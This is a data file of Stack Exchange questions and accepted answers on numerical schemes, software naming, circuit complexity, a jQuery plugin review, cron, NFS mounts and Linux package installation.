{  "id": "_scicomp.17477"  , "question": "Can someone give some references to understand what's the differences between a component-wise and a characteristic-wise ENO scheme?If I'm right, the characteristic variables come from the diagonalization of flux matrix but I don't see how it comes to play when doing ENO and what's the advantage of it."  , "title": "ENO/WENO component-wise vs characteristic-wise"  , "tags": "fluid dynamics;reference request"  , "accepted_answer": "In both components-wise and characteristic variable methods, the basic ENO formulation remains the same. In this answer, Only finite volume formulation is considered. however, FD is similar in philosophy and can can be studied from the references. note: $i$ is the cell under consideration. $j$ is the generic index for cells.Implementation Details [1]1. Component-wise ENOThis is the most straightforward procedure.The procedure is similar as that for a scalar 1d equation. We have a vector of conserved variables $\\bar u_{n \\times 1} = [u_1, u_2, ... ,u_n]^T$ and the flux vector $f_{n \\times 1} = f(\\bar u)$. We carry out ENO reconstruction for each component of $\\bar u$ (lets call it simply $u$) separately. This is not a true decoupling. This gives us left and right values for $u$ ($u_l $ and $u_r$) at $x_{i+\\frac{1}{2}}$. Doing this for all components gives us $\\bar u_l$ and $\\bar u_r$ at $x_{i+\\frac{1}{2}}$. Then flux $f$ at $x_{i+\\frac{1}{2}}$ is found out by solving the Riemann problem at $x_{i+\\frac{1}{2}}$. Either exact or approximate Riemann solver can be used for this. Some of the hyperbolic systems, including Euler's equations, have exact Riemann solutions. A low order solution is more sensitive towards choice of Riemann solver. Hence we can use more cost effective approximate solvers at high orders (however, we don't use component method for high orders!).  Once the fluxes are formed, we can advance in time using appropriate time integrator. Similar approach is taken for WENO.2. Characteristic-wise ENOa. Linear system with constant coefficient matrix $f'$:Consider the same system of equations.Considering it to be a (strictly) hyperbolic system, the Jacobian $f'$ (or coefficient matrix $A$ as in some cases), has $n$ distinct eigenvalues ($\\lambda_j(\\bar u); j=1,...,n$) and corresponding right ($r_j(\\bar u); j=1,...,n$) and left eigenvectors ($l_j(\\bar u); j=1,...,n$). let $R = [r_1, r_2, ... , r_n]$ and $\\Lambda = diag(\\lambda_1, \\lambda_2,...,\\lambda_n)$ be constant everywhere. Then we can diagonalize the Jacobian matrix using $R, R^{-1}$ and $\\Lambda$.i.e. we get, $\\bar v_t + \\Lambda \\bar v_x = 0$where, $\\bar v$ is the characteristic variable vector. Now each component of $\\bar v$ is truely decoupled and this is nothing but $n$ separate hyperbolic equations. We can then do the ENO procedure on each one to get $v$ at a particular $x_{i+\\frac{1}{2}}$. After all the components are treated in this fashion, we get $\\bar v$ at $i+\\frac{1}{2}$. After this, we can recover $\\bar u$ from $\\bar v$ by using $\\bar u_{i+\\frac{1}{2}} = R \\bar v_{i+\\frac{1}{2}}$. b. Non linear system or variable coefficient matrix $f'$:The main problem with this type is that, $R, R^{-1}$ and $\\Lambda$ change with u. So we need to freeze them in space at $x_{j+\\frac{1}{2}}$. This is done by taking arithmatic or Roe or $somefancy$ average or $\\bar u_j$ and $\\bar u_{j+1}$ at $j+\\frac{1}{2}$. Then $R_{j+\\frac{1}{2}} = R(\\bar u_{j+\\frac{1}{2}}) ; \\forall j$We can get characteric  variable $v_{j+\\frac{1}{2}}$ from $u_{j+\\frac{1}{2}}$ using this $R$. In other words, the transformation into the characteristic variable is local. Then perform scalar ENO reconstruction on all $v$ and obtain values at $i+\\frac{1}{2}$. The rest of the procedure remains the same as discussed earlier,Transform back to $u$ at $i+\\frac{1}{2}$.Solve Riemann problem $\\rightarrow$ Find flux.Time integration.Why and when to use component method:Straightforward and Really simple to use. We need to perform less number of operations. Works well for many problems especially if order of accuracy is small (2 or maybe 3 in some cases). Suitable for simple test cases.Characteristic method:More robust.As Kyle Mandli very rightly pointed out in his comment, since we are truly decomposing the variables, the upwind fluxes will be more accurate. We are taking into consideration the wave direction and speed. For more demanding test problems and higher accuracies, we should use the characteristic decomposition. Also for highly nonlinear equations, one should use the characteristic decomposition for obtaining a robust solver.As an example, you can study the FD implementation of WENO to equations of ideal magnetohydrodynamics [2] (because, it is a very good example to demonstrate the use of the characteristic method. Also you will get to see the FD implementation, which is not discussed here).Along with this, the text on Computational Gasdynamics by Culbert Laney discusses about ENO implementation. References[1] Shu, C. W. (1997). Essentially Non-Oscillatory and Weighted Essentially Non-Oscillatory Schemes for Hyperbolic Conservation Laws. ICASE Report, (97 - 65)Very detailed explanation. In fact I have repeated here most of what is given in this report. Here is the link for the report. [2] Jiang, G.-S., & Wu, C. (1999). A High-Order WENO Finite Difference Scheme for the Equations of Ideal Magnetohydrodynamics. Journal of Computational Physics, 150(2), 561594.[3] PyWENO can be used for obtaining the coefficients easily. "  } 
{  "id": "_softwareengineering.310919"  , "question": "Say that you have an web application which prints pages in a document. Suppose that after validating the page range, the application does the following:If a billing option is turned on, it first checks with the server to confirm the print.After confirming the print (or doing nothing if the billing option is not turned on), it then prints the pages.In order to support billing being both on and off, the code looks something like this:function printPages (...) {    if (billing) {        confirmPrintWithServer(..., function () {            printPagesInternal(...);        });    } else {        printPagesInternal(...);    }}If the call to check the printing was synchronous, this wouldn't really be a problem. Then it would look like this:function printPages (...) {    if (billing) {        if (!confirmPrintWithServer(...)) return;    }    // continue with rest of printPages}What went in a printPagesInternal in the first case would simply be the rest of printPages in the synchronous case.Is there any better way to name these two things than appending Internal or something similar to the end of the one that the caller of the code does not see? If we had more layers of checks, would we do InternalInternal? Is the more layers of checks situation just not going to happen, so adding Internal is actually the right solution?"  , "title": "How to name functions which continue a process after an asynchronous step"  , "tags": "naming;asynchronous programming"  } 
{  "id": "_unix.251840"  , "question": "I want to turn a computer that I have lying around into a file server. The problem is that I cannot find my public IP. I have used services such as myip or even google, but they all point to the IP of the server of my ISP in another city. Does anyone know: How I can find my public IP and How I can access my computer from outside my LAN?"  , "title": "Finding Servers Public IP and Allowing Remote Access"  , "tags": "ip;file server"  } 
{  "id": "_cstheory.16127"  , "question": "I have a question about a answer of a question which is proposed in this stack exchange.The Past QuestionOne of the most basic result in circuit complexity is the constnat depth cirdcuit lower bound computing PARITY function using the switching lemma. Another popular function MAJORITY has also lower bound $exp (\\Omega (n^{1/(d-1)}))$ and matching upper bound $exp (O (n^{2/(d-1)}))$.My question is about upper bound of Threshold function which is a natural generalization of majority function. The formal definition of the threshold function is the following one. DEFINITION:$THR(x_{1},...,x_{n})=  \\begin{cases}    1 & a_{1}x_{1}+\\cdots +a_{n}x_{n} \\geq t \\\\    0 & otherwise  \\end{cases}$We assume that each weight $a_{i} \\in \\mathbb{Z}$ is at most $2^{O(n)}$QUESTION1:The depth $d$ circuit with unbounded fanin AND OR NOT gates to compute the above function has size $2^{n^{\\epsilon}}$ ?Where $\\epsilon $ can depend on $d$ like $2^{n^{1/100d}}$ .AnswerKristoffer Arnsfelt Hansen said that:1.$General$ $weight$ $threshold$ $gates$ can be computed by polynomial size depth 2 circuits built from $majority$ $gates$. An efficient construction of this is e.g. given by Amano and Maruoka. Then you can just compute each of these by constant depth circuits built from AND and OR gates.My Question$majority$ $gates$ is a monotone gate which is computes a monotone function. A monotone functin does not decreace its function value by increasing the number of 1s in the input 0-1 bit string. However, $General$ $weight$ $threshold$ $gates$  is NOT a monotone function. For example, we can check the function which output 1 if and only if $2x_{1} -5x_{2} + 3x_{3} \\geq 3.5$ is not a monotone function because increasing the value of  $x_{2}$ brokes the monotone property. My question is :For a givern arbitrary threshold function $THR:\\{0,1\\}^{n}\\rightarrow \\{0,1\\}$ with arbitrary real number weights and with no monotonicity, can we construct a constant depth circuit with $poly(n)$ threshold gates such that for any gate, any weight of the gate is integer number and is at most $poly(\\Delta) $, where $\\Delta$ is fan-in of the gate?"  , "title": "Monotonicity and Threshold function"  , "tags": "cc.complexity theory;circuit complexity"  } 
{  "id": "_unix.174292"  , "question": "Could anyone describe to me what sloppy mount is? There's two mount points on my server but I have no idea how to erase the sloppy one. I hope some one could explain to me the potential faults or what's happening under the hood. Appreciate your help:)ILTLVLSSC418:/etc # mountnfsserver:/export/sapmnt/T10 on /sapmnt/T10 type nfs (rw,soft,retrans=2,addr=10.96.88.7)nfsserver:/export/saptrans/trans1 on /usr/sap/trans type nfs (rw,soft,retrans=2,addr=10.96.88.7)nfsserver:/export/sapmnt/T10 on /sapmnt/T10 type nfs(rw,nfsvers=3,soft,retrans=2,sloppy,addr=10.96.88.7)nfsserver:/export/saptrans/trans1 on /usr/sap/trans type nfs4 (rw,soft,retrans=2,sloppy,addr=10.96.88.7,clientaddr=10.26.91.11)The mount command result is shown above. Plus I could not execute umount, as it would fail and remount back. "  , "title": "Linux sloppy mount"  , "tags": "linux;mount;nfs;automounting"  } 
{  "id": "_opensource.867"  , "question": "After a patent expires people are free to use it.Does this means, that the technology described in the claims are then Open Source?"  , "title": "Is technology in expired patents open source?"  , "tags": "patents"  } 
{  "id": "_codereview.3104"  , "question": "I've just released a jQuery plugin that conditionally displays elements based on form values. I would appreciate any suggestions on how to improve both the code and its usefulness.Here's the demo pageWould this be useful to you?What other functionality should I include?Any refactoring or structure changes that I should make?I am worried about exposing 4 different functions.  Is this too many?The GoalThe plugin helps in situations where an element should hide or show based on values in other elements. In particular, it excels when there are multiple conditions that need to be satisfied in order to hide or show.  Additional concepts to keep in mindUse as jQuery pluginEasy to chain rules togetherUnderstandable by reading a line of codeCan build/add custom conditionsExample of business rules to solveLet's say we have the following rules for elements:Display a set of checkboxes if Zip is between 19000 and 20000Income is lower than 15000Display another set of checkboxes if City is 'Philadelphia'Income is lower than 40000Display city select box if Zip is between 19100 and 19400Ideal look$('.elements_to_display')   .reactIf( '#some_form_element', SatisfiesFirstCondition)   .reactIf( '#some_other_form_element', SatisfiesAnotherCondition)   .reactIf( '#some_other_form_element', SatisfiesAnotherCondition);Page JSvar IS = $.extend({}, $.fn.reactor.helpers);$('.cities')        .reactIf('#zip', IS.Between(19100, 19400))    .reactIf('#zip', IS.NotBlank);$('.philly_middle_to_low_income')    .reactIf('#income_2011', IS.LessThan(40000))    .reactIf('#cities_select', IS.EqualTo('philadelphia'));$('.low_income_select_zips')    .reactIf('#income_2011', IS.LessThan(15000))    .reactIf('#zip', IS.BetweenSameLength(19000, 20000))    .reactIf('#zip', IS.NotBlank);$('.reactor').trigger('change.reactor');Plugin react.js(function($){    $.fn.reactTo = function(selector) {        var $elements = $(selector),            $reactor_element = $(this),            _proxy_event = function() {                $reactor_element.trigger('change.reactor');            };        $elements.filter('select').bind('change.reactor', _proxy_event);        $elements.filter('input').bind('keyup.reactor', _proxy_event);          return this;    };    $.fn.reactIf = function(sel, exp_func) {        var $sel = $(sel);        var _func = function() {            return exp_func.apply($sel);                                       };        this.each(function() {            if (!$(this).hasClass('reactor')) { $(this).reactor(); }            var conditions_arry = $(this).data('conditions.reactor');            if (!$.isArray(conditions_arry)) { conditions_arry = []};            conditions_arry.push(_func);            $(this).data('conditions.reactor', conditions_arry);        });         $(this).reactTo(sel);        return this;    };    $.fn.react = function() {        this.each(function() {           $(this).trigger('change.reactor')        });         return this;    };    $.fn.reactor = function(options) {        var settings = $.extend({}, $.fn.reactor.defaults, options);        this.each(function() {            // var opts = $.meta ? $.extend({}, settings, $this.data()) : settings;            var $element = $(this);            if (!$element.hasClass('reactor')) { $element.data('conditions.reactor', []).addClass('reactor'); }            var is_reactionary = function() {                  var conditionalArray = $(this).data('conditions.reactor');                 var r = true;                $.each(conditionalArray, function() {                    r = (r && this.call());                });                return r;                                            }            var reaction = function(evt) {                evt.stopPropagation();                if (is_reactionary.apply(this)) {                   settings.compliant.apply($element);                } else {                   settings.uncompliant.apply($element);                }            }            $element.bind('change.reactor', reaction);        });        return this;      };    $.fn.reactor.defaults = {        compliant: function() {            $(this).show();        },        uncompliant: function() {            $(this).hide();            }            };    $.fn.reactor.helpers = {        NotBlank: function() {            return( $(this).val().toString() !=  )        },        Blank: function() {            return( $(this).val().toString() ==  )        },        EqualTo: function(matchStr) {            var _func = function() {                 var v = $(this).val();                if (v) { return( v.toString() == matchStr ); }                 else { return false; }            }             return _func;        },        LessThan: function(number) {            var _func = function() {                var v = $(this).val();                return(!(v && parseInt(v) > number));            }            return _func;           },        MoreThan: function(number) {            var _func = function() {                var v = $(this).val();                return(!(v && parseInt(v) < number));            }            return _func;          },        Between: function(min, max) {            var _func = function() {                var v = $(this).val();                return(!(v && (parseInt(v) > max || parseInt(v) < min)));            }            return _func;        },        BetweenSameLength: function(min, max) {            var len = min.toString().length;            var _func = function() {                var v = $(this).val();                return(!(v && v.length == len && (parseInt(v) > max || parseInt(v) < min)));            }            return _func;        }    };})(jQuery);HTML react.html<form id=portfolio_form>    <fieldset>        <label>Zip</label>        <input id=zip type=text value= /><br />        <label>2011 Income</label>        <input id=income_2011 name=income[2011] />    </fieldset>      <p>Display cities only when zip is between 19100 and 19400</p>    <fieldset class=cities>        <label>Cities</label>        <select id=cities_select>            <option value=></option>            <option value=philadelphia>Philadelphia</option>            <option value=media>Media</option>            <option value=doylestown>Doylestown</option>        </select>        </fieldset>    <p>Display checkboxes only for Philadelphia and income less than 40000</p>    <fieldset class=philly_middle_to_low_income>        <input type=checkbox /> Check One<br />        <input type=checkbox /> Check Two<br />        <input type=checkbox /> Check Three<br />        <input type=checkbox /> Check Four<br />    </fieldset>      <p>Display checkboxes when zip is between 19000 and 20000 and income is lower than 25000</p>   <fieldset class=low_income_select_zips>        <input type=checkbox /> Check One<br />        <input type=checkbox /> Check Two<br />        <input type=checkbox /> Check Three<br />        <input type=checkbox /> Check Four<br />    </fieldset>    </form>"  , "title": "Plugin that conditionally displays elements based on form values"  , "tags": "javascript;jquery;html;form"  , "accepted_answer": "The syntax is nice, but the necessity for the user to declare IS themselves is not ideal. You should look for a different solution. One possibility could be to supply the name of the conditional function as a string and its arguments as additional arguments of reactIf. That way the conditional functions would no longer need to be of higher-order (not that that is a bad thing). Example:$('.cities').reactIf('#zip', Between, 19100, 19400);// ...$.fn.reactIf = function(sel, exp_func) {    var $sel = $(sel);    var args = arguments.slice(2);    var _func = function() {        return $.fn.reactor.helpers[exp_func].apply($sel, args);                                   };    // ...}$.fn.reactor.helpers = {  // ...  Between: function(min, max) {    var v = $(this).val();     return(!(v && (parseInt(v) > max || parseInt(v) < min)));  },  // ...}These is one more problem with the conditional functions: You supply a jQuery object as the this argument toapply, so it's not needed to wrap this in another jQuery call inside the conditional functions. You should either change to apply call to:return exp_func.apply($sel[0]);or in the conditional functions:var v = this.val();I'm not sure if it's a good idea to mark elements with a class. This can go wrong, for example, if a second JavaScript removes all classes from an element. Instead of  if (!$(this).hasClass('reactor')) { $(this).reactor(); } var conditions_arry = $(this).data('conditions.reactor'); if (!$.isArray(conditions_arry)) { conditions_arry = []};I would use var conditions_arry = $(this).data('conditions.reactor'); if (!$.isArray(conditions_arry)) {   $(this).reactor();   conditions_arry = []; };and similarly in reactor().You should consider short-circuiting the $.each() loop calling the conditional functions (which also makes the && unnecessary):  $.each(conditionalArray, function() {    r = this.call();    return r; // Stops the `each` loop if r is `false`  });"  } 
{  "id": "_webapps.17783"  , "question": "I use GMail in both office and home where I use Firefox and Safari respectively. I see Reader in the list in Firefox  but not in Safari. I need to select from the dropdown list. Is there a way I can get my selected list of items in the Google+ bar in both Safari and Firefox ? "  , "title": "Why does Google+ bar show different data in Firefox and Safari?"  , "tags": "gmail;google plus;safari 5"  } 
{  "id": "_softwareengineering.107130"  , "question": "I've noticed that Node.js has become very popular, and I've seen several instances of people doing small-scale projects in it.I've also looked at pros and cons lists to get an idea of what Node.js can do, but I'm still not clear on how it differs from other, more mature server-side tech like PHP, Perl, or Ruby on Rails.What, specifically, differentiates Node.js from the current alternatives, and why?"  , "title": "How is Node.js different from other server-side frameworks?"  , "tags": "web development;comparison;node.js"  } 
{  "id": "_cogsci.9005"  , "question": "Is it true that a person's emotional state (such as arousal, fear, etc) can be determined by looking solely at the persons eyes?Here I am assuming that this may be the case only in limited circumstances (specific scenarios or specific basic emotions such as fear) but if emotional state can be determined from the eyes, is there any research on the extent to which this is possible?"  , "title": "To what degree is emotional state visible in a person's eyes?"  , "tags": "emotion"  } 
{  "id": "_softwareengineering.116922"  , "question": "I participated in a coding competition today, and I found that almost all of the command line input our programs needed to receive would start with an integer representing the amount of data sets to follow.  There were 6 different problems, and they all started this way.For example, one sample problem had:Input to this problem will begin with a line containing a single integer N (1 <= N <= 100) indicating the number of data sets.  Each data set consists of the following components:A line containing a single integer W that specifies the number of wormholesA series of W lines containing....etc.Pretty much all the competition problems had this format, with the first integer representing the amount of data sets to follow.My initial reaction (and the way I tried to solve the problem) was just using a vector of size N, where each element represented a data set.  Trouble is, there are a whole bunch of things in these data sets.  Using this approach often left me with a vector of vector of vectors (maybe an exaggeration but you get the idea) which was very hard to manage.Another idea was looping through the entire program N times, but this doesn't always seem that applicable.I realize this is a vague question, but that's because I'm looking for a general solution to this type of problem.  What is the best approach to handling this type of input?"  , "title": "How to handle X data sets as input"  , "tags": "algorithms"  , "accepted_answer": "I don't think there's another option other than the ones you mentioned. You either:a) iterate through all the the data sets and work on them as they come uporb) store everything (in some suitable data structure, like an array, hash table, tree, etc) and work on it later."  } 
{  "id": "_softwareengineering.207274"  , "question": "So I am building an application with Angular and have started to get into UI testing with DalekJS (http://dalekjs.com).  As I have been writing these tests I have been thinking to myself, should I even bother with writing unit test that that are UI/UX components.Now my angular services generally don't have anything to do with the DOM or directly rendering stuff on the page so those I unit test and it make sense however angular directives are components that render things directly to the page and writing unit tests seems like 1.  It is not an effective way to test UI/UX components and 2. It would overlap with UI/UX Tests.For point #1, unit test (at least ones I have seen) don't actually write anything to a browser and render it.  For thing that require DOM, you generally mock the DOM in a variable and use that to test whatever you need to test.  If you have an error with a test, you can't load it up in a browser and play around with it like you could with UI/UX tests (which in my experience runs against code that is the true application that renders and everything).For point #2, one of my directives has a property called contentVisible.  Now I can write a unit test that make sure that property is the correct value at certain points but that really don't not test what I truly want to test because even if contentVisible is set to false, the content still might be rendering to the screen which UI/UX test would pick up.Is it still worth the effort to write unit test for UI/UX Components where UI tests would be able to pick up everything the unit test would plus also do a better job since it can test what is actually rendered?ExceptionThe one exception case where I would need a unit test is for certain ajax requests.  For example, making sure an ajax request is not made of that an ajax request that does not make and changes to the UI are things that can only be tested with unit tests."  , "title": "Should I bother to write unit test for UI/UX Components?"  , "tags": "testing;unit testing"  } 
{  "id": "_cs.59634"  , "question": "Suppose I have a set of 1000 binary strings of fixed length. I wish to divide these 1000 strings into 10 subsets of 100 strings each, in such a way that the subsets are maximally homogeneous. I want each subset of 100 to be as internally similar as possible. Similarities between subsets of 100 are of no consequence.I believe the best way to quantify homogeneity for my purposes is with simple matching coefficient. A straightforward greedy algorithm to define the subsets appears to be $O(n^2)$, but I'm not convinced this finds the optimal result. Is there proof either way? Is there another algorithm I should consider? Another homogeneity metric?The resulting algorithm needs to be polynomial time."  , "title": "How can I divide a set of strings into subsets of fixed size with maximal homogeneity?"  , "tags": "greedy algorithms;string metrics"  } 
{  "id": "_softwareengineering.238173"  , "question": "If I use Spring Data Neo4j to develop a software, and I want to publish it for commercial use with charging, does there exist any license issue?I survey many posts about the license issue of Neo4j and Spring Data Neo4j. It seems Neo4j has two versions, community and enterprise, respectively. The Community version is GPL-3.0, and the enterprise version is AGPL-3.0. Spring Data Neo4j is Apache License-2.0.The role of spring data neo4j in my software:1.It is only part of my software to deal with storing relationship and searching data.2.I will combine it with MongoDB or DB2."  , "title": "License issue of Spring Data Neo4j?"  , "tags": "licensing;gpl;apache license"  } 
{  "id": "_unix.111501"  , "question": "I'm running Arch ARM on a PogoPlug and want to execute a file every hour, the file when call directly runs fine (it is executable), for testing the file/etc/cron.hourly/crontestcontains#!/bin/bashdate >> /root/logFirst I copied it to /etc/cron.daily but it wouldn't run, run-parts --test lists it as valid but nothing shows in the log file, then I created a crontab:*/5 * * * * /etc/cron.hourly/crontestTo run it every 5 minutes while monitoring the logfile, it doesn't fire.This is /etc/cron.d/0hourly# Run the hourly jobsSHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=root01 * * * * root run-parts /etc/cron.hourlyandjournalctl -u croniejust returns-- Logs begin at Wed 1969-12-31 17:00:03 MST, end at Tue 2014-01-28 10:14:12 MST. --So even though the PogoPlug doesn't have a rtc it has the correct time via ntp. What else can I do to debug cron / get it to run?I'm tempted to just write a bash script that loops and sleeps x amount of seconds, but I'd rather figure this one out :-)"  , "title": "Neither crontab nor anacron is running, how to debug?"  , "tags": "linux;bash;cron;arm"  , "accepted_answer": "You need to make sure cronie is started. You can do so with the following command:systemctl start cronieThis command will enable cronie to start on boot:systemctl enable cronie"  } 
{  "id": "_softwareengineering.344737"  , "question": "I have general parallel programming question.Suppose there is a directed graph with cycles. Lets assume that each node has fairly small amount of incoming edges ~ from 0 to 20 and potentially pretty big amount of outgoing edges ~ from 0 to 500. Lets say that each node is a function that getting all incoming edges as input parameters, calculates result and then if calculated result differs from previous result of this function it will need to invoke recalculation of all the functions on the outgoing edges.I need functions to be calculated pretty much in waves from changed function to all that connected to it in the first wave and then all functions connected to functions of first wave and so on.Currently I have this done sequentially, with two lists: current wave with all functions that is calculating now and next wave that is going to be calculated in the next wave. Everything is working correctly, but I want to make it parallel - to be calculated on all available cores.The problem I am facing is actually each function is very simple and so it gets calculated very fast and so time of calculation is comparable with time to adding to the next wave. As a result, running on 4 cores is slower that sequential code.Is there a parallel algorithm that can deal with such graphs?"  , "title": "Parallel algorithm: calculations on graph"  , "tags": "parallelism;parallel programming"  } 
{  "id": "_unix.154324"  , "question": "I have recently installed Cent OS7. Its looks very nice at first.But soon realized it has a horrible multimedia support. Its own player cannot install the codecs it requires, which was much easier in Debian OS.When I tried to manually install VLC using yum install vlc, it just showed a list of dependency problems:  --> Finished Dependency ResolutionError: Package: ffmpeg-libs-0.10.11-1.el6.x86_64 (rpmfusion-free-updates)           Requires: libopenjpeg.so.2()(64bit)Error: Package: ffmpeg-libs-0.10.11-1.el6.x86_64 (rpmfusion-free-updates)           Requires: libgnutls.so.26()(64bit)Error: Package: libcddb-1.3.2-8.el6.x86_64 (linuxtech-release)           Requires: libcdio.so.10()(64bit)Error: Package: vlc-core-2.0.10-1.el6.x86_64 (rpmfusion-free-updates)           Requires: libgme.so.0()(64bit)Error: Package: vlc-core-2.0.10-1.el6.x86_64 (rpmfusion-free-updates)           Requires: libdc1394.so.22()(64bit)Error: Package: ffmpeg-libs-0.10.11-1.el6.x86_64 (rpmfusion-free-updates)           Requires: libcdio_paranoia.so.0()(64bit)           Available: libcdio-0.77-1.el5.rf.x86_64 (rpmforge)               libcdio_paranoia.so.0()(64bit)           Installed: libcdio-0.92-1.el7.x86_64 (@anaconda)               Not foundError: Package: vlc-core-2.0.10-1.el6.x86_64 (rpmfusion-free-updates)           Requires: libudev.so.0()(64bit)Error: Package: ffmpeg-libs-0.10.11-1.el6.x86_64 (rpmfusion-free-updates)           Requires: libcdio_cdda.so.0(CDIO_CDDA_0)(64bit)           Available: libcdio-0.77-1.el5.rf.x86_64 (rpmforge)               libcdio_cdda.so.0(CDIO_CDDA_0)(64bit)           Installed: libcdio-0.92-1.el7.x86_64 (@anaconda)               Not foundError: Package: vlc-core-2.0.10-1.el6.x86_64 (rpmfusion-free-updates)           Requires: libgnutls.so.26(GNUTLS_1_4)(64bit)Error: Package: ffmpeg-libs-0.10.11-1.el6.x86_64 (rpmfusion-free-updates)           Requires: libgnutls.so.26(GNUTLS_1_4)(64bit)Error: Package: ffmpeg-libs-0.10.11-1.el6.x86_64 (rpmfusion-free-updates)           Requires: libcelt0.so.1()(64bit)Error: Package: ffmpeg-libs-0.10.11-1.el6.x86_64 (rpmfusion-free-updates)           Requires: libcdio_paranoia.so.0(CDIO_PARANOIA_0)(64bit)           Available: libcdio-0.77-1.el5.rf.x86_64 (rpmforge)               libcdio_paranoia.so.0(CDIO_PARANOIA_0)(64bit)           Installed: libcdio-0.92-1.el7.x86_64 (@anaconda)               Not foundError: Package: vlc-core-2.0.10-1.el6.x86_64 (rpmfusion-free-updates)           Requires: libproxy.so.0()(64bit)Error: Package: libcddb-1.3.2-8.el6.x86_64 (linuxtech-release)           Requires: libcdio.so.10(CDIO_10)(64bit)Error: Package: ffmpeg-libs-0.10.11-1.el6.x86_64 (rpmfusion-free-updates)           Requires: libcdio_cdda.so.0()(64bit)           Available: libcdio-0.77-1.el5.rf.x86_64 (rpmforge)               libcdio_cdda.so.0()(64bit)           Installed: libcdio-0.92-1.el7.x86_64 (@anaconda)               Not foundError: Package: librtmp-2.3-3.el6.x86_64 (linuxtech-release)           Requires: libgnutls.so.26(GNUTLS_1_4)(64bit)Error: Package: vlc-core-2.0.10-1.el6.x86_64 (rpmfusion-free-updates)           Requires: libtiger.so.5()(64bit)Error: Package: vlc-core-2.0.10-1.el6.x86_64 (rpmfusion-free-updates)           Requires: libmtp.so.8()(64bit)           Available: libmtp-0.3.7-1.el5.rf.x86_64 (rpmforge)               libmtp.so.8()(64bit)           Installed: libmtp-1.1.6-3.el7.x86_64 (@anaconda)              ~libmtp.so.9()(64bit)Error: Package: ffmpeg-libs-0.10.11-1.el6.x86_64 (rpmfusion-free-updates)           Requires: libdc1394.so.22()(64bit)Error: Package: librtmp-2.3-3.el6.x86_64 (linuxtech-release)           Requires: libgnutls.so.26()(64bit)Error: Package: vlc-core-2.0.10-1.el6.x86_64 (rpmfusion-free-updates)           Requires: libgnutls.so.26()(64bit) You could try using --skip-broken to work around the problem You could try running: rpm -Va --nofiles --nodigestIs it possible at all to install it in Cent OS 7?So far I can only find some solutions for Cent OS 6 or lower, which is hardly helpful for me.  "  , "title": "What multimedia support should I use in centOS 7"  , "tags": "linux;vlc;centos"  , "accepted_answer": "Your yum repos were not configured correctly as el6 packages were showing up. Try removing rpmfusion-free-updates, linuxtech-release, and rpmforge. You can add Epel7 and Atrpms el7 repos to solve the problem."  } 
{  "id": "_computergraphics.1901"  , "question": "I'm working on a shadertoy snake game, using the new multi pass rendering abilities to save game state between frames.I'm using raytracing to render the board (an AABB), and am planning on using spheres to render sections of the snake's body.The game board is a 16x16 grid and each grid can either have a sphere there (a segment of the snake's body) or not.  Snake body segments don't move, they are just either there on the grid or not.  When the snake moves, a new sphere appears in the front and an old sphere disappears from the back.The problem I'm trying to solve is how to render the snake body spheres.For instance, a naive approach would be to store a 16x16 grid in pixels specifying whether there was a snake body in that grid cell or not.I would then do a ray vs sphere check for up to 256 different spheres within my pixel shader, which seems like a no go.Another method might be to figure out where the ray begins and ends on the game board (when it's between the high and low height values of where the spheres are) and then use something like bressenham line algorithm to go from the start to the end of the line the ray takes on the board, and check only the grid cells that the ray hits.The problem there is that it requires a dynamic loop.Maybe a more practical solution would be to make the camera have a nearly top down view and where the ray enters the playable game world, test any sphere in the cell it hits as well as the 8 neighboring cells.I'm betting there are some much better solutions that I'm not thinking of.Does anyone know of any interesting techniques or creative solutions?Thanks!Edit: here is an older version of this game i made, which was CPU / software rendered, to give an idea of what I'm planning."  , "title": "Methods for grid traversal in a glsl pixel shader?"  , "tags": "raytracing;real time;glsl;pixel shader"  , "accepted_answer": "why not building a bounding box (or spheres) hierarchy ?(but for a shadertoy implementation, the lack of dynamic loop length might spoil the gain )."  } 
{  "id": "_cstheory.3452"  , "question": "Many complexity classes defined with Turing machines have definitions in terms of uniform circuits. For example, P can also be defined using uniform polynomial size circuits, and similarly BPP, NP, BQP, etc. can be defined with uniform circuits.So is there a circuit-based definition of L?An obvious idea would be to allow polynomial size circuits with some depth limitation, but this turn out to define the NC hierarchy.I was thinking about this question a long time ago, but didn't find an answer. If I remember correctly, my motivation was to understand what the quantum analog of L would look like."  , "title": "Does L have a definition in terms of circuits?"  , "tags": "cc.complexity theory;complexity classes;circuit complexity"  , "accepted_answer": "Well, $L = SC^1$, where $SC^1$ is the class of languages computed by polynomial size circuits of $O(\\log n)$ width.As for $NL$, it could be characterized as the class languages computed by polynomial size skew circuits (which in some sense is just another way of saying nondeterministic branching programs)."  } 
{  "id": "_softwareengineering.167744"  , "question": "I'm really struggling with my software specs.  I am not a professional programmer but enjoy doing it for fun and made some software that I want to sell later but I'm not happy with the code quality.  So I wanted to hire a real developer to rewrite my software in a more professional way so it will be maintainable by other developers in the future.I read and found some sample specs and made my own by applying their structure to my document and wanted to get my developer friend to read it and give me advice.  After an hour and a half he understood exactly what I was trying to do and how I did it(my algorithms,stack,etc.).  How can I get better at explaining things to developers?  I add many details and explanations for everything(including working code) but I'm unsure the best way I can learn to pass detailed domain knowledge(my software applies big data, machine learning, graph theory to finance).  My end goal is to get them to understand as much as possible from the document and then ask anything they do not understand, but right now it seems they need to extract alot of information from me.  How can I get better at communicating domain knowledge to developers?"  , "title": "How can I get better at explaining complex software processes to developers?"  , "tags": "design;learning;project management;requirements"  , "accepted_answer": "I would suggest learning more about the upstream activities in software development, especially requirements engineering and system architecture. These two activities are the direct interface from the customer and user needs and environment to the person or people who are building software. These activities are not only directly derived from the inputs from the user and customer, but they also provide the inputs into system-level and acceptance testing.When I was taught about requirements engineering and high level design, I was always taught to involve the right stakeholders from the sponsoring organization - the customer, the user, the people who will be maintaining the system, and so on. These people shouldn't just be involved in making decisions, but also understanding how the system is going to be built and what will be needed from them throughout the project. Taking the initiative and learning these areas on your own would help with interfacing with people who will be building the software.If you want specific resources, Karl Wiegers has two books on requirements engineering - Software Requirements and More About Software Requirements. I can also recommend two books on how software architectures and designs are created - Software Systems Architecture: Working With Stakeholders Using Viewpoints and Perspectives and Software Architecture in Practice."  } 
